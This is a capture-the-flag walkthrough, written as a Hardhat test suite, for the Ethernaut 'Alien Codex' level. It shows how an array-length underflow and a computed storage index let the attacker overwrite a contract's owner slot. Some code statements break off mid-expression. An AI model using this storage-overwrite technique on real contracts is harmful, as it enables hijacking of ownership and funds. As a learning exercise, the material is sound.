Ethernaut 19: Alien Codex

import {ethers} from 'hardhat'
import {BigNumber, Contract, providers, Signer} from 'ethers'
import {TransactionResponse} from '@ethersproject/providers'

import {ETHERNAUT_ADDRESS, expect, expectStatusOK} from './testUtil'

const LEVEL_ADDRESS = '0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272'
const INSTANCE_ADDRESS = '0xe3fB9A42a39326071d1F184C4fb5aA31EDD271C1'

const CODEX_SLOT = 1
const UINT256_ONE = '0x0000000000000000000000000000000000000000000000000000000000000001'

describe('19 Alien Codex', () => {
let ethernaut: Contract
let instance: Contract
let signer: Signer
let signerAddress: string
let provider: providers.Provider

before(async () => {
ethernaut = await ethers.getContractAt('Ethernaut', ETHERNAUT_ADDRESS)
instance = await ethers.getContractAt('AlienCodex', INSTANCE_ADDRESS)

const signers = await ethers.getSigners()
signer = signers[0]
signerAddress = await signer.getAddress()
provider = signer.provider!

Before we are permitted to call any of the instance's other functions, the contact flag needs to be set. Conveniently, there's a public function which does just that.

  it('sets the contacted flag', async () => {
await instance.make_contact()
return expect(

Since bytes32[] public codex is a dynamic array, its storage slot (1) holds its current length, which initially is zero. retract lets us subtract one from the array length, which then underflows to MaxUint256.

This opens up the instance's entire memory for writing using revise with an arbitrary (0..MaxUint256) array index.

Note that contracts cannot directly set a dynamic array's length property anymore since Solidity 0.6.0. That's why 0.5.0 was used for this level.

  it('retracts on empty array to set array length to MaxUint256', async () => {
const tx = await instance.retract()
await tx.wait()
expect(await provider.getStorageAt(instance.address, CODEX_SLOT)).to.eq(

Next we need to know where the owner variable is located relative to where the values of bytes32[] public codex are stored in memory.

AlienCodex extends Ownable and therefore has owner at storage slot 0. (Both owner and contact are packed into slot 0, leaving the array at slot 1.)

The memory address of the dynamic array's values is equal to the keccak256 hash of its storage slot number (1). (This is how dynamic array locations are calculated, see e.g. here.)

Since owner is at 0, we subtract the address of codex from 0 to get the array index of owner. Knowing owner is at codex[ownerIndex], we can overwrite it using revise.

  it('calculates array index of owner slot and overwrites it with signer address', async () => {
const arrayBase = ethers.utils.keccak256(UINT256_ONE)
const ownerIndex = ethers.constants.MaxUint256.add(1).sub(arrayBase)
const signerUint256 = '0x' + ''.padStart(24, '0') + signerAddress.slice(2)
const tx = await instance.revise(ownerIndex, signerUint256)
return expectStatusOK(tx)

it('verifies signer has become owner', async () => {
expect(await instance.owner()).to.eq(signerAddress)

it('is validated', async () => {
return expect(ethernaut.submitLevelInstance(instance.address, {gasLimit:100000}))
.to.emit(ethernaut, 'LevelCompletedLog')
.withArgs(signerAddress, LEVEL_ADDRESS).eventually